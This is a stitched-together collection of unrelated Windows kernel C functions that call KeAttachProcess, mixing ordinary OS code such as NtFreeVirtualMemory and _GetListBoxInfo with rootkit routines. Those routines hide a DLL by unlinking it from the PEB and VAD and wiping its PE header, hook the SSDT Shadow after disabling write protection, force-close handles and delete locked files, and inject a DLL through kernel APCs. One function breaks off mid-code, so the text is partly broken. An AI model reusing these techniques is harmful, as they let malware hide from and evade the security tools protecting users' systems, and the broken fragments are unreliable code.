VOID HideDllFromProcess( PEPROCESS Process, char *szDllName ) { // //先从PEB中找到目标DLL,获取其基址 // KeAttachProcess(Process); g_DllBase = GetDllBaseFromProcessPEB(Process,szDllName); KeDetachProcess(); if (!g_DllBase) { return; } dprintf("Get Base of %s Successfully,Base=0x%08X\n",szDllName,g_DllBase); // //从VADTree->ControlArea->FilePointer->Buffer中抹掉 // HideDllFromProcessVAD(Process,g_DllBase); // //先将其从PEB->Ldr链中摘除 // KeAttachProcess(Process); HideDllFromProcessPEB(Process,g_DllBase); // //抹掉PE头 // ZeroPEHeader(g_DllBase); KeDetachProcess(); }
VOID BowserUninitializeTraceLog() { BOOLEAN ProcessAttached = FALSE; PAGED_CODE(); ExDeleteResource(&BrowserTraceLock); if (BrowserTraceLogHandle != NULL) { if (IoGetCurrentProcess() != BowserFspProcess) { KeAttachProcess(BowserFspProcess); ProcessAttached = TRUE; } ZwClose(BrowserTraceLogHandle); if (ProcessAttached) { KeDetachProcess(); } } BrowserTraceLogHandle = NULL; }
void r0_closeAllHandles(wchar_t* filePath) { MY_SYSTEM_HANDLE_INFORMATION *shiTable; EPROCESS *eprocess; unsigned long i; FILE_OBJECT *file; OBJECT_NAME_INFORMATION *objectNameInformation = 0; unsigned long filePathLength = wcslen(filePath); shiTable = enumerateHandles(); for(i = 0; i < shiTable->NumberOfHandles;i++) { if( isFile( shiTable->Handles[i].ObjectTypeIndex) ) { file = (FILE_OBJECT*)shiTable->Handles[i].Object; if(!file || file->FileName.Length == 0) continue; getFullPathName(file,&objectNameInformation); if((objectNameInformation->Name.Length/2 ) != filePathLength) continue; if( !_wcsnicmp(filePath,(wchar_t*)objectNameInformation->Name.Buffer,filePathLength) ) { PsLookupProcessByProcessId((HANDLE)shiTable->Handles[i].UniqueProcessId,&eprocess); KeAttachProcess(eprocess);//switch context to process one ZwClose((HANDLE)shiTable->Handles[i].HandleValue); KeDetachProcess(); } } } ExFreePoolWithTag(shiTable,0xdeadbeef); }
VOID UnloadDriver(IN PDRIVER_OBJECT DriverObject) { UNICODE_STRING uniWin32NameString; UNICODE_STRING LinkNameString; PDEVICE_OBJECT deviceObject; NTSTATUS status; status = PsLookupProcessByProcessId((ULONG)GetCsrPid(), &crsEProc); if (!NT_SUCCESS( status )) { DbgPrint("PsLookupProcessByProcessId() error\n"); return ; } KeAttachProcess(crsEProc); //////////////////////UnHook ZwQuerySystemInformation///////////////////////////////////////////////// __try { _asm { CLI //dissable interrupt MOV EAX, CR0 //move CR0 register into EAX AND EAX, NOT 10000H //disable WP bit MOV CR0, EAX //write register back } if ((KeServiceDescriptorTableShadow!=NULL) && (NtUserFindWindowEx_callnumber!=0) && (NtUserGetForegroundWindow_callnumber!=0) && (NtUserBuildHwndList_callnumber!=0) && (NtUserQueryWindow_callnumber!=0)) { (NTUSERFINDWINDOWEX)(KeServiceDescriptorTableShadow[1].ServiceTableBase[NtUserFindWindowEx_callnumber]) = g_OriginalNtUserFindWindowEx; (NTUSERQUERYWINDOW)KeServiceDescriptorTableShadow[1].ServiceTableBase[NtUserQueryWindow_callnumber] = g_OriginalNtUserQueryWindow; (NTUSERBUILDHWNDLIST)KeServiceDescriptorTableShadow[1].ServiceTableBase[NtUserBuildHwndList_callnumber] = g_OriginalNtUserBuildHwndList; (NTUSERGETFOREGROUNDWINDOW)KeServiceDescriptorTableShadow[1].ServiceTableBase[NtUserGetForegroundWindow_callnumber] = g_OriginalNtUserGetForegroundWindow; (NTUSERWINDOWFROMPOINT)KeServiceDescriptorTableShadow[1].ServiceTableBase[NtUserWindowFromPoint_callnumber] = g_OriginalNtUserWindowFromPoint; } _asm { MOV EAX, CR0 //move CR0 register into EAX OR EAX, 10000H //enable WP bit MOV CR0, EAX //write register back STI //enable interrupt } } __finally { KeDetachProcess(); Sleep(50); } deviceObject= DriverObject->DeviceObject; IoDeleteSymbolicLink(&LinkDeviceNameString); ASSERT(!deviceObject->AttachedDevice); if ( deviceObject != NULL ) { IoDeleteDevice( deviceObject ); } }
/***************************************************************************\ * * _GetListBoxInfo() * * Currently returns back the # of items per column. There is no way to get * or calculate this info any other way in a multicolumn list. * * For now, no structure is returned. If we ever need one more thing, make one. * * Since I have to run on multiple platforms, I can't define a message. * To do so would require that * * I make changes to the thunk table * * I make sure the 32-bit define doesn't collide with some NT new msg * * I use a different value on Win '95 vs Memphis due to additions * * I test apps extensively since many of them pass on bogus valued * messages to the listbox handler which checks to see if they * are in range. In other words, any value I pick is probably * going to flake out MSVC++ 4.0. * * Ergo an API instead. * \***************************************************************************/ DWORD WINAPI _GetListBoxInfo(PWND pwnd) { PCLS pcls; DWORD dwRet = 0; BOOL fOtherProcess; /* * Make sure it is a combobox or a dropdown */ pcls = pwnd->pcls; if ((pcls->atomClassName != gpsi->atomSysClass[ICLS_LISTBOX]) && (GETFNID(pwnd) != FNID_LISTBOX)) { RIPERR1(ERROR_INVALID_PARAMETER, RIP_WARNING, "pwnd %#p is not a listbox", pwnd); return 0; } if (fOtherProcess = (GETPTI(pwnd)->ppi != PpiCurrent())) { KeAttachProcess(&GETPTI(pwnd)->ppi->Process->Pcb); } try { PLBIV ccxPlbSnap; /* * Snap and probe the pointer to the LBIV, since it is client-side. */ ccxPlbSnap = ((PLBWND)pwnd)->pLBIV; if (!ccxPlbSnap) { goto errorexit; } ProbeForRead(ccxPlbSnap, sizeof(LBIV), DATAALIGN); if (ccxPlbSnap->fMultiColumn) { dwRet = ccxPlbSnap->itemsPerColumn; } else { dwRet = ccxPlbSnap->cMac; } } except (W32ExceptionHandler(FALSE, RIP_WARNING)) { dwRet = 0; } errorexit: if (fOtherProcess) { KeDetachProcess(); } return dwRet; }
EXTERN_C VOID EnumProcessModuleByPEB( IN PEPROCESS pEProcess, IN PALL_PROCESS_MODULE_INFO pAllModuleInf ) { PVOID PEB = NULL, Ldr = NULL, Flink = NULL, p = NULL, BaseAddress = NULL; ULONG uCount = 0; ULONG SizeOfImage = 0; PUNICODE_STRING FullDllName; ASSERT(pEProcess != NULL); KeAttachProcess(pEProcess); PEB = *(PVOID*)( (( PUCHAR)pEProcess) + 0x1b0 ); Ldr = *(PVOID*)( (( PUCHAR)PEB) + 0x0c ); Flink = ( PUCHAR)Ldr + 0x0c ; p = *(PVOID*)(Flink); //按加载顺序遍历: do { BaseAddress = *( ( PVOID* )( ( PUCHAR )p + 0x18 ) ); SizeOfImage = *(ULONG*)((PUCHAR)p + 0x20); FullDllName = ( ( PUNICODE_STRING)( ( PUCHAR )p + 0x24 ) ); if (Flink != (PVOID)FullDllName) { pAllModuleInf->vModuleInf[uCount].BaseAddress = (ULONG)BaseAddress; pAllModuleInf->vModuleInf[uCount].size = SizeOfImage; RtlCopyMemory(pAllModuleInf->vModuleInf[uCount++].ImagePathName, FullDllName->Buffer, FullDllName->Length); } p = *( ( PVOID* )p ); } while ( Flink != p ); pAllModuleInf->uCount = uCount - 1; KeDetachProcess(); }
NTSTATUS HwndNameDriverIOControl(IN PDEVICE_OBJECT DeviceObject,IN PIRP Irp) { PIO_STACK_LOCATION stack; UCHAR *in_buffer, *out_buffer; ULONG code,ret,pid,handle_object,return_length; UCHAR buffer[1024]; PEPROCESS eprocess; HANDLE handle,hProcess,hToken; stack = IoGetCurrentIrpStackLocation(Irp); out_size = stack->Parameters.DeviceIoControl.OutputBufferLength; code = stack->Parameters.DeviceIoControl.IoControlCode; in_buffer = out_buffer = Irp->AssociatedIrp.SystemBuffer; ret = STATUS_SUCCESS; switch(code) { case IOCTL_GET_NAME_STRING: { pid = ((DIB_NAME_STRING *)in_buffer)->pid; handle = ((DIB_NAME_STRING *)in_buffer)->hwnd; ((DOB_NAME_STRING *)out_buffer)->status = 0; Irp->IoStatus.Information = sizeof(ULONG); if(NT_SUCCESS(PsLookupProcessByProcessId((PVOID)pid,&eprocess))) { KeAttachProcess(eprocess); if(NT_SUCCESS(ObReferenceObjectByHandle(handle,0x80000000,0,0, (void *)&handle_object,0))) { if(*(USHORT *)handle_object==5 && *((USHORT *)handle_object+1)==0x70) { if(return_length=handle_fobject((PFILE_OBJECT)handle_object, out_buffer)) { ((DOB_NAME_STRING *)out_buffer)->status=1; Irp->IoStatus.Information+=return_length; *((USHORT *)out_buffer+2)=(USHORT)(return_length-12); } } else { if(NT_SUCCESS(ObQueryNameString((void *)handle_object, (POBJECT_NAME_INFORMATION)buffer, sizeof(buffer),&return_length))) if(((UNICODE_STRING *)buffer)->Buffer!=NULL) { ((DOB_NAME_STRING *)out_buffer)->name.MaximumLength \ = (USHORT)out_size-20; ((DOB_NAME_STRING *)out_buffer)->name.Buffer \ = (char *)((ULONG *)out_buffer+3); if(NT_SUCCESS(RtlUnicodeStringToAnsiString( &((DOB_NAME_STRING *)out_buffer)->name, (UNICODE_STRING *)buffer,FALSE))) { ((DOB_NAME_STRING *)out_buffer)->status = 1; Irp->IoStatus.Information += 8+ ((DOB_NAME_STRING *)out_buffer)->name.Length; } } ObDereferenceObject((void *)handle_object); } } KeDetachProcess(); ObDereferenceObject((void *)eprocess); } break; } case IOCTL_GET_TOKEN_HANDLE: { hProcess = ((DIB_TOKEN_HANDLE *)in_buffer)->hwnd; ((DOB_TOKEN_HANDLE *)out_buffer)->status = 0; Irp->IoStatus.Information = sizeof(ULONG); if (NT_SUCCESS(ZwOpenProcessToken(hProcess,TOKEN_QUERY,&hToken))) { ((DOB_TOKEN_HANDLE *)out_buffer)->status = 1; ((DOB_TOKEN_HANDLE *)out_buffer)->hwnd = hToken; Irp->IoStatus.Information += 4; } break; } default: ((DOB_UNKNOWN *)out_buffer)->status = 0; Irp->IoStatus.Information = sizeof(DOB_UNKNOWN); ret = STATUS_INVALID_DEVICE_REQUEST; break; } Irp->IoStatus.Status = ret; IoCompleteRequest(Irp,IO_NO_INCREMENT); return ret; }
NTSTATUS ForceDelete( wchar_t *path ) { HANDLE fileHandle; NTSTATUS result; IO_STATUS_BLOCK ioBlock; DEVICE_OBJECT *device_object; void* object = NULL; OBJECT_ATTRIBUTES fileObject; wchar_t deviceName[14]; UNICODE_STRING uDeviceName; UNICODE_STRING uPath; EPROCESS *eproc = IoGetCurrentProcess(); //switch context to UserMode KeAttachProcess(eproc); //initialize file to delete variable g_fileToDelete = path; g_fileToDelete += 6; //take from \??\C:\example only \example //e.g "\??\C:\" memset(deviceName,0,sizeof(deviceName)); wcsncpy(deviceName,path,7); uDeviceName.Buffer = deviceName; uDeviceName.Length = 14; //file path to unicode string RtlInitUnicodeString(&uPath,path); InitializeObjectAttributes(&fileObject, &uDeviceName, OBJ_CASE_INSENSITIVE, NULL, NULL); result = ZwOpenFile(&fileHandle, SYNCHRONIZE, &fileObject, &ioBlock, FILE_SHARE_READ, FILE_SYNCHRONOUS_IO_NONALERT|FILE_DIRECTORY_FILE); if(result != STATUS_SUCCESS) { DbgPrint("Some problems with open file ;["); goto _end; } if ( !ObReferenceObjectByHandle(fileHandle, 0, 0, 0, &object, 0) ) { device_object = IoGetBaseFileSystemDeviceObject(object); ObfDereferenceObject(object); } ZwClose(fileHandle); InitializeObjectAttributes(&fileObject, &uPath, OBJ_CASE_INSENSITIVE, NULL, NULL); result = IoCreateFileSpecifyDeviceObjectHint( &fileHandle, SYNCHRONIZE | FILE_WRITE_ATTRIBUTES | FILE_READ_ATTRIBUTES | FILE_READ_DATA, //0x100181 &fileObject, &ioBlock, 0, 0, FILE_SHARE_READ | FILE_SHARE_WRITE |FILE_SHARE_DELETE, //FILE_SHARE_VALID_FLAGS, FILE_OPEN, FILE_NON_DIRECTORY_FILE | FILE_SYNCHRONOUS_IO_NONALERT,//0x60, 0, 0, CreateFileTypeNone, 0, IO_IGNORE_SHARE_ACCESS_CHECK, device_object); if(result != STATUS_SUCCESS) { DbgPrint("error in IoCreateFileSpecifyDeviceObjectHint"); goto _end; } result = ObReferenceObjectByHandle(fileHandle, 0, 0, 0, &object, 0); if(result != STATUS_SUCCESS) { DbgPrint("error in ObReferenceObjectByHandle"); ZwClose(fileHandle); goto _end; } /* METHOD 1 */ ((FILE_OBJECT*)object)->SectionObjectPointer->ImageSectionObject = 0; ((FILE_OBJECT*)object)->DeleteAccess = 1; result = ZwDeleteFile(&fileObject); if(result != STATUS_SUCCESS) { DbgPrint("\n[+]error in ZwDeleteFile"); } ObDereferenceObject(object); ZwClose(fileHandle); result = ZwDeleteFile(&fileObject); if(result != STATUS_SUCCESS) { DbgPrint("\n[+]error in ZwDeleteFile"); /* METHOD 2 */ r0_fileToDelete(path); /* METHOD 3 If simple solutions did not help, try this one. */ hook_it(device_object) }
BOOLEAN InjectDll(PINJECT_INFO InjectInfo) { PEPROCESS Process; PETHREAD Thread; PKINJECT mem; ULONG size; PKAPC_STATE ApcState; PKAPC apc; PVOID buffer; PSYSTEM_PROCESS_INFO pSpi; LARGE_INTEGER delay; buffer=ExAllocatePool(NonPagedPool,1024*1024); // Allocate memory for the system information if(!buffer) { DbgPrint("Error: Unable to allocate memory for the process thread list."); return FALSE; } // Get the process thread list if(!NT_SUCCESS(ZwQuerySystemInformation(5,buffer,1024*1024,NULL))) { DbgPrint("Error: Unable to query process thread list."); ExFreePool(buffer); return FALSE; } pSpi=(PSYSTEM_PROCESS_INFO)buffer; // Find a target thread while(pSpi->NextEntryOffset) { if(pSpi->UniqueProcessId==InjectInfo->ProcessId) { DbgPrint("Target thread found. TID: %d",pSpi->Threads[0].ClientId.UniqueThread); break; } pSpi=(PSYSTEM_PROCESS_INFO)((PUCHAR)pSpi+pSpi->NextEntryOffset); } // Reference the target process if(!NT_SUCCESS(PsLookupProcessByProcessId(InjectInfo->ProcessId,&Process))) { DbgPrint("Error: Unable to reference the target process."); ExFreePool(buffer); return FALSE; } DbgPrint("Process name: %s",PsGetProcessImageFileName(Process)); DbgPrint("EPROCESS address: %#x",Process); // Reference the target thread if(!NT_SUCCESS(PsLookupThreadByThreadId(pSpi->Threads[0].ClientId.UniqueThread,&Thread))) { DbgPrint("Error: Unable to reference the target thread."); ObDereferenceObject(Process); // Dereference the target process ExFreePool(buffer); // Free the allocated memory return FALSE; } DbgPrint("ETHREAD address: %#x",Thread); ExFreePool(buffer); // Free the allocated memory KeAttachProcess(Process); // Attach to target process's address space mem=NULL; size=4096; // Allocate memory in the target process if(!NT_SUCCESS(ZwAllocateVirtualMemory(NtCurrentProcess(),(PVOID*)&mem,0,&size,MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE))) { DbgPrint("Error: Unable to allocate memory in the target process."); KeDetachProcess(); // Detach from target process's address space ObDereferenceObject(Process); // Dereference the target process ObDereferenceObject(Thread); // Dereference the target thread return FALSE; } DbgPrint("Memory allocated at %#x",mem); mem->LdrLoadDll=LdrLoadDll; // Write the address of LdrLoadDll to target process wcscpy(mem->Buffer,InjectInfo->DllName); // Write the DLL name to target process RtlInitUnicodeString(&mem->DllName,mem->Buffer); // Initialize the UNICODE_STRING structure ApcState=(PKAPC_STATE)((PUCHAR)Thread+ApcStateOffset); // Calculate the address of the ApcState structure ApcState->UserApcPending=TRUE; // Force the target thread to execute APC memcpy((PKINJECT)(mem+1),InjectDllApc,(ULONG)KernelRoutine-(ULONG)InjectDllApc); // Copy the APC code to target process DbgPrint("APC code address: %#x",(PKINJECT)(mem+1)); apc=(PKAPC)ExAllocatePool(NonPagedPool,sizeof(KAPC)); // Allocate the APC object if(!apc) { DbgPrint("Error: Unable to allocate the APC object."); size=0; ZwFreeVirtualMemory(NtCurrentProcess(),(PVOID*)&mem,&size,MEM_RELEASE); // Free the allocated memory KeDetachProcess(); // Detach from target process's address space ObDereferenceObject(Process); // Dereference the target process ObDereferenceObject(Thread); // Dereference the target thread return FALSE; } KeInitializeApc(apc,Thread,OriginalApcEnvironment,KernelRoutine,NULL,(PKNORMAL_ROUTINE)((PKINJECT)mem+1),UserMode,mem); // Initialize the APC DbgPrint("Inserting APC to target thread"); // Insert the APC to the target thread if(!KeInsertQueueApc(apc,NULL,NULL,IO_NO_INCREMENT)) { DbgPrint("Error: Unable to insert APC to target thread."); size=0; ZwFreeVirtualMemory(NtCurrentProcess(),(PVOID*)&mem,&size,MEM_RELEASE); // Free the allocated memory KeDetachProcess(); // Detach from target process's address space ObDereferenceObject(Process); // Dereference the target process ObDereferenceObject(Thread); // Dereference the target thread ExFreePool(apc); // Free the APC object return FALSE; } delay.QuadPart=-100*10000; while(!mem->Executed) { KeDelayExecutionThread(KernelMode,FALSE,&delay); // Wait for the injection to complete } if(!mem->DllBase) { DbgPrint("Error: Unable to inject DLL into target process."); size=0; ZwFreeVirtualMemory(NtCurrentProcess(),(PVOID*)&mem,&size,MEM_RELEASE); KeDetachProcess(); ObDereferenceObject(Process); ObDereferenceObject(Thread); return FALSE; } DbgPrint("DLL injected at %#x",mem->DllBase); size=0; ZwFreeVirtualMemory(NtCurrentProcess(),(PVOID*)&mem,&size,MEM_RELEASE); // Free the allocated memory KeDetachProcess(); // Detach from target process's address space ObDereferenceObject(Process); // Dereference the target process ObDereferenceObject(Thread); // Dereference the target thread return TRUE; }
NTSTATUS NtFreeVirtualMemory( IN HANDLE ProcessHandle, IN OUT PVOID *BaseAddress, IN OUT PULONG RegionSize, IN ULONG FreeType ) /*++ Routine Description: This function deletes a region of pages within the virtual address space of a subject process. Arguments: ProcessHandle - An open handle to a process object. BaseAddress - The base address of the region of pages to be freed. This value is rounded down to the next host page address boundary. RegionSize - A pointer to a variable that will receive the actual size in bytes of the freed region of pages. The initial value of this argument is rounded up to the next host page size boundary. FreeType - A set of flags that describe the type of free that is to be performed for the specified region of pages. FreeType Flags MEM_DECOMMIT - The specified region of pages is to be decommitted. MEM_RELEASE - The specified region of pages is to be released. Return Value: Returns the status TBS --*/ { PMMVAD_SHORT Vad; PMMVAD_SHORT NewVad; PMMVAD PreviousVad; PMMVAD NextVad; PEPROCESS Process; KPROCESSOR_MODE PreviousMode; PVOID StartingAddress; PVOID EndingAddress; NTSTATUS Status; ULONG Attached = FALSE; ULONG CapturedRegionSize; PVOID CapturedBase; PMMPTE StartingPte; PMMPTE EndingPte; ULONG OldQuota; ULONG QuotaCharge; ULONG CommitReduction; PVOID OldEnd; PAGED_CODE(); // // Check to make sure FreeType is good. // if ((FreeType & ~(MEM_DECOMMIT | MEM_RELEASE)) != 0) { return STATUS_INVALID_PARAMETER_4; } // // One of MEM_DECOMMIT or MEM_RELEASE must be specified, but not both. // if (((FreeType & (MEM_DECOMMIT | MEM_RELEASE)) == 0) || ((FreeType & (MEM_DECOMMIT | MEM_RELEASE)) == (MEM_DECOMMIT | MEM_RELEASE))) { return STATUS_INVALID_PARAMETER_4; } PreviousMode = KeGetPreviousMode(); // // Establish an exception handler, probe the specified addresses // for write access and capture the initial values. // try { if (PreviousMode != KernelMode) { ProbeForWriteUlong ((PULONG)BaseAddress); ProbeForWriteUlong (RegionSize); } // // Capture the base address. // CapturedBase = *BaseAddress; // // Capture the region size. // CapturedRegionSize = *RegionSize; } except (ExSystemExceptionFilter()) { // // If an exception occurs during the probe or capture // of the initial values, then handle the exception and // return the exception code as the status value. // return GetExceptionCode(); } #if DBG if (MmDebug & MM_DBG_SHOW_NT_CALLS) { if ( !MmWatchProcess ) { DbgPrint("freevm processhandle %lx base %lx size %lx type %lx\n", ProcessHandle, CapturedBase, CapturedRegionSize, FreeType); } } #endif // // Make sure the specified starting and ending addresses are // within the user part of the virtual address space. // if (CapturedBase > MM_HIGHEST_USER_ADDRESS) { // // Invalid base address. // return STATUS_INVALID_PARAMETER_2; } if ((ULONG)MM_HIGHEST_USER_ADDRESS - (ULONG)CapturedBase < CapturedRegionSize) { // // Invalid region size; // return STATUS_INVALID_PARAMETER_3; } EndingAddress = (PVOID)(((ULONG)CapturedBase + CapturedRegionSize - 1) | (PAGE_SIZE - 1)); StartingAddress = (PVOID)PAGE_ALIGN(CapturedBase); if ( ProcessHandle == NtCurrentProcess() ) { Process = PsGetCurrentProcess(); } else { // // Reference the specified process handle for VM_OPERATION access. // Status = ObReferenceObjectByHandle ( ProcessHandle, PROCESS_VM_OPERATION, PsProcessType, PreviousMode, (PVOID *)&Process, NULL ); if (!NT_SUCCESS(Status)) { return Status; } } // // If the specified process is not the current process, attach // to the specified process. // if (PsGetCurrentProcess() != Process) { KeAttachProcess (&Process->Pcb); Attached = TRUE; } // // Get the address creation mutex to block multiple threads from // creating or deleting address space at the same time and // get the working set mutex so virtual address descriptors can // be inserted and walked. Block APCs to prevent page faults while // we own the working set mutex. // LOCK_WS_AND_ADDRESS_SPACE (Process); // // Make sure the address space was not deleted. // if (Process->AddressSpaceDeleted != 0) { Status = STATUS_PROCESS_IS_TERMINATING; goto ErrorReturn; } Vad = (PMMVAD_SHORT)MiLocateAddress (StartingAddress); if (Vad == NULL) { // // No Virtual Address Descriptor located for Base Address. // Status = STATUS_MEMORY_NOT_ALLOCATED; goto ErrorReturn; } // // Found the associated Virtual Address Descriptor. // if (Vad->EndingVa < EndingAddress) { // // The entire range to delete is not contained within a single // virtual address descriptor. Return an error. // Status = STATUS_UNABLE_TO_FREE_VM; goto ErrorReturn; } // // Check to ensure this Vad is deletable. Delete is required // for both decommit and release. // if ((Vad->u.VadFlags.PrivateMemory == 0) || (Vad->u.VadFlags.PhysicalMapping == 1)) { Status = STATUS_UNABLE_TO_DELETE_SECTION; goto ErrorReturn; } if (Vad->u.VadFlags.NoChange == 1) { // // An attempt is being made to delete a secured VAD, check // to see if this deletion is allowed. // if (FreeType & MEM_RELEASE) { // // Specifiy the whole range, this solves the problem with // splitting the VAD and trying to decide where the various // secure ranges need to go. // Status = MiCheckSecuredVad ((PMMVAD)Vad, Vad->StartingVa, (PCHAR)Vad->EndingVa - (PCHAR)Vad->StartingVa, MM_SECURE_DELETE_CHECK); } else { Status = MiCheckSecuredVad ((PMMVAD)Vad, CapturedBase, CapturedRegionSize, MM_SECURE_DELETE_CHECK); } if (!NT_SUCCESS (Status)) { goto ErrorReturn; } } PreviousVad = MiGetPreviousVad (Vad); NextVad = MiGetNextVad (Vad); if (FreeType & MEM_RELEASE) { // // ***************************************************************** // MEM_RELEASE was specified. // ***************************************************************** // // // The descriptor for the address range is deletable. Remove or split // the descriptor. // // // If the region size is zero, remove the whole VAD. // if (CapturedRegionSize == 0) { // // If the region size is specified as 0, the base address // must be the starting address for the region. // if (CapturedBase != Vad->StartingVa) { Status = STATUS_FREE_VM_NOT_AT_BASE; goto ErrorReturn; } // // This Virtual Address Descriptor has been deleted. // StartingAddress = Vad->StartingVa; EndingAddress = Vad->EndingVa; MiRemoveVad ((PMMVAD)Vad); ExFreePool (Vad); } else { // // Regions size was not specified as zero, delete the // whole VAD or split the VAD. // if (StartingAddress == Vad->StartingVa) { if (EndingAddress == Vad->EndingVa) { // // This Virtual Address Descriptor has been deleted. // MiRemoveVad ((PMMVAD)Vad); ExFreePool (Vad); } else { // // This Virtual Address Descriptor has a new starting // address. // CommitReduction = MiCalculatePageCommitment ( StartingAddress, EndingAddress, (PMMVAD)Vad, Process ); Vad->StartingVa = (PVOID)((ULONG)EndingAddress + 1L); Vad->u.VadFlags.CommitCharge -= CommitReduction; ASSERT ((LONG)Vad->u.VadFlags.CommitCharge >= 0); MiReturnPageFileQuota (CommitReduction, Process); MiReturnCommitment (CommitReduction); Process->CommitCharge -= CommitReduction; PreviousVad = (PMMVAD)Vad; } } else { // // Starting address is greater than start of VAD. // if (EndingAddress == Vad->EndingVa) { // // Change the ending address of the VAD. // CommitReduction = MiCalculatePageCommitment ( StartingAddress, EndingAddress, (PMMVAD)Vad, Process ); Vad->u.VadFlags.CommitCharge -= CommitReduction; MiReturnPageFileQuota (CommitReduction, Process); MiReturnCommitment (CommitReduction); Process->CommitCharge -= CommitReduction; Vad->EndingVa = (PVOID)((ULONG)StartingAddress - 1L); PreviousVad = (PMMVAD)Vad; } else { // // Split this VAD as the address range is within the VAD. // // // Allocate an new VAD under an exception handler // as there may not be enough quota. // NewVad = ExAllocatePoolWithTag (NonPagedPool, sizeof(MMVAD_SHORT), 'SdaV'); if ( NewVad == NULL ) { Status = STATUS_INSUFFICIENT_RESOURCES; goto ErrorReturn; } CommitReduction = MiCalculatePageCommitment ( StartingAddress, EndingAddress, (PMMVAD)Vad, Process ); OldQuota = Vad->u.VadFlags.CommitCharge - CommitReduction; OldEnd = Vad->EndingVa; *NewVad = *Vad; Vad->EndingVa = (PVOID)((ULONG)StartingAddress - 1L); NewVad->StartingVa = (PVOID)((ULONG)EndingAddress + 1L); // // Set the commit charge to zero so MiInsertVad will // not charge committment for splitting the VAD. // NewVad->u.VadFlags.CommitCharge = 0; try { // // Insert the VAD, this could get an exception // on charging quota. // MiInsertVad ((PMMVAD)NewVad); } except (EXCEPTION_EXECUTE_HANDLER) { // // Inserting the Vad failed, reset the original // VAD, free new vad and return an error. // Vad->EndingVa = OldEnd; ExFreePool (NewVad); Status = GetExceptionCode(); goto ErrorReturn; } Vad->u.VadFlags.CommitCharge -= CommitReduction; MiReturnPageFileQuota (CommitReduction, Process); MiReturnCommitment (CommitReduction); Process->CommitCharge -= CommitReduction; // // As we have split the original VAD into 2 seperate VADs // there is know way of knowing what the commit charge // is for each VAD. Calculate the charge and reset // each VAD. Note that we also use the previous value // to make sure the books stay balanced. // QuotaCharge = MiCalculatePageCommitment (Vad->StartingVa, Vad->EndingVa, (PMMVAD)Vad, Process ); Vad->u.VadFlags.CommitCharge = QuotaCharge; // // Give the remaining charge to the new VAD. // NewVad->u.VadFlags.CommitCharge = OldQuota - QuotaCharge; PreviousVad = (PMMVAD)Vad; NextVad = (PMMVAD)NewVad; } } } // // Return commitment for page table pages if possibible. // MiReturnPageTablePageCommitment (StartingAddress, EndingAddress, Process, PreviousVad, NextVad); // // Get the PFN mutex so the MiDeleteVirtualAddresses can be called. // MiDeleteFreeVm (StartingAddress, EndingAddress); UNLOCK_WS (Process); CapturedRegionSize = 1 + (ULONG)EndingAddress - (ULONG)StartingAddress; // // Update the virtual size in the process header. // Process->VirtualSize -= CapturedRegionSize; UNLOCK_ADDRESS_SPACE (Process); if (Attached) { KeDetachProcess(); } if ( ProcessHandle != NtCurrentProcess() ) { ObDereferenceObject (Process); } // // Establish an exception handler and write the size and base // address. // try { *RegionSize = CapturedRegionSize; *BaseAddress = StartingAddress; } except (EXCEPTION_EXECUTE_HANDLER) { // // An exception occurred, don't take any action (just handle // the exception and return success. } #if DBG if (MmDebug & MM_DBG_SHOW_NT_CALLS) { if ( MmWatchProcess ) { if ( MmWatchProcess == PsGetCurrentProcess() ) { DbgPrint("\n--- FREE Type 0x%lx Base %lx Size %lx\n", FreeType, StartingAddress, CapturedRegionSize); MmFooBar(); } } } #endif #if DBG if (RtlAreLogging( RTL_EVENT_CLASS_VM )) { RtlLogEvent( MiFreeVmEventId, RTL_EVENT_CLASS_VM, StartingAddress, CapturedRegionSize, FreeType ); } #endif // DBG return STATUS_SUCCESS; } // // ************************************************************** // // MEM_DECOMMIT was specified. // // ************************************************************** // // // Check to ensure the complete range of pages is already committed. // if (CapturedRegionSize == 0) { if (CapturedBase != Vad->StartingVa) { Status = STATUS_FREE_VM_NOT_AT_BASE; goto ErrorReturn; } EndingAddress = Vad->EndingVa; } #if 0 if (FreeType & MEM_CHECK_COMMIT_STATE) { if ( !MiIsEntireRangeCommitted(StartingAddress, EndingAddress, Vad, Process)) { // // The entire range to be decommited is not committed, // return an errror. // Status = STATUS_UNABLE_TO_DECOMMIT_VM; goto ErrorReturn; } } #endif //0 // // The address range is entirely committed, decommit it now. // // // Calculate the initial quotas and commit charges for this VAD. // StartingPte = MiGetPteAddress (StartingAddress); EndingPte = MiGetPteAddress (EndingAddress); CommitReduction = 1 + EndingPte - StartingPte; // // Check to see if the entire range can be decommitted by // just updating the virtual address descriptor. // CommitReduction -= MiDecommitPages (StartingAddress, EndingPte, Process, Vad); // // Adjust the quota charges. // ASSERT ((LONG)CommitReduction >= 0); MiReturnPageFileQuota (CommitReduction, Process); MiReturnCommitment (CommitReduction); Vad->u.VadFlags.CommitCharge -= CommitReduction; Process->CommitCharge -= CommitReduction; ASSERT ((LONG)Vad->u.VadFlags.CommitCharge >= 0); UNLOCK_WS (Process); UNLOCK_ADDRESS_SPACE (Process); if (Attached) { KeDetachProcess(); } if ( ProcessHandle != NtCurrentProcess() ) { ObDereferenceObject (Process); } // // Establish an exception handler and write the size and base // address. // try { *RegionSize = 1 + (ULONG)EndingAddress - (ULONG)StartingAddress; *BaseAddress = StartingAddress; } except (EXCEPTION_EXECUTE_HANDLER) { NOTHING; } #if DBG if (RtlAreLogging( RTL_EVENT_CLASS_VM )) { RtlLogEvent( MiFreeVmEventId, RTL_EVENT_CLASS_VM, StartingAddress, 1 + (ULONG)EndingAddress - (ULONG)StartingAddress, FreeType ); } #endif // DBG return STATUS_SUCCESS; ErrorReturn: UNLOCK_WS (Process); UNLOCK_ADDRESS_SPACE (Process); if (Attached) { KeDetachProcess(); } if ( ProcessHandle != NtCurrentProcess() ) { ObDereferenceObject (Process); } return Status; }
